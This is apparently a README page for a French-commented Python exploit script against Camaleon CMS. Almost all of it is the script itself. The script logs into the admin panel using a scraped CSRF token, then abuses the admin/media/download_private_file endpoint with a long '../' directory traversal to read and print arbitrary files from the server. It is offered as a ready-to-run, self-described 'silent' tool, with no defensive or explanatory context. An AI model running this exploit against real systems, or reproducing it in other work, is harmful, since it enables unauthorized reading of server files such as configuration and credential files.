README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import argparse
import re
import sys
from urllib3 import disable_warnings
disable_warnings()
class CamaleonLFI:
def __init__(self, url, user, password, endpoint, verbose=False):
self.url = url.rstrip('/')
self.user = user
self.password = password
self.endpoint = endpoint
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
def log(self, message):
if self.verbose:
print(f"[*] {message}", file=sys.stderr)
def get_token(self, url):
r = self.session.get(url)
match = re.search(r'name="authenticity_token" value="([^"]+)"', r.text)
return match.group(1) if match else None
def login(self):
login_url = f"{self.url}/admin/login"
self.log(f"Récupération du token sur {login_url}")
token = self.get_token(login_url)
if not token:
self.log("Erreur: Token CSRF introuvable.")
return False
data = {
'authenticity_token': token,
'user[username]': self.user,
'user[password]': self.password
}
r = self.session.post(login_url, data=data, allow_redirects=True)
success = 'logout' in r.text.lower() or r.status_code == 200
if success:
self.log("Authentification réussie.")
else:
self.log("Échec de l'authentification.")
return success
def read_file(self, target_file):
traversal = "../../../../../../../../../.."
lfi_url = f"{self.url}/{self.endpoint.lstrip('/')}"
params = {'file': f"{traversal}{target_file}"}
try:
r = self.session.get(lfi_url, params=params)
if r.status_code == 200:
# On affiche uniquement le résultat brut
print(r.text, end='')
else:
self.log(f"Erreur HTTP {r.status_code}")
except Exception as e:
self.log(f"Erreur de connexion: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="LFI Camaleon - Silencieux")
parser.add_argument("-u", "--url", required=True, help="URL cible")
parser.add_argument("-l", "--user", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("--path", default="admin/media/download_private_file", help="Endpoint LFI")
parser.add_argument("-v", "--verbose", action="store_true", help="Mode verbeux")
parser.add_argument("file", help="Fichier à lire")
args = parser.parse_args()
lfi = CamaleonLFI(args.url, args.user, args.password, args.path, args.verbose)
if lfi.login():
lfi.read_file(args.file)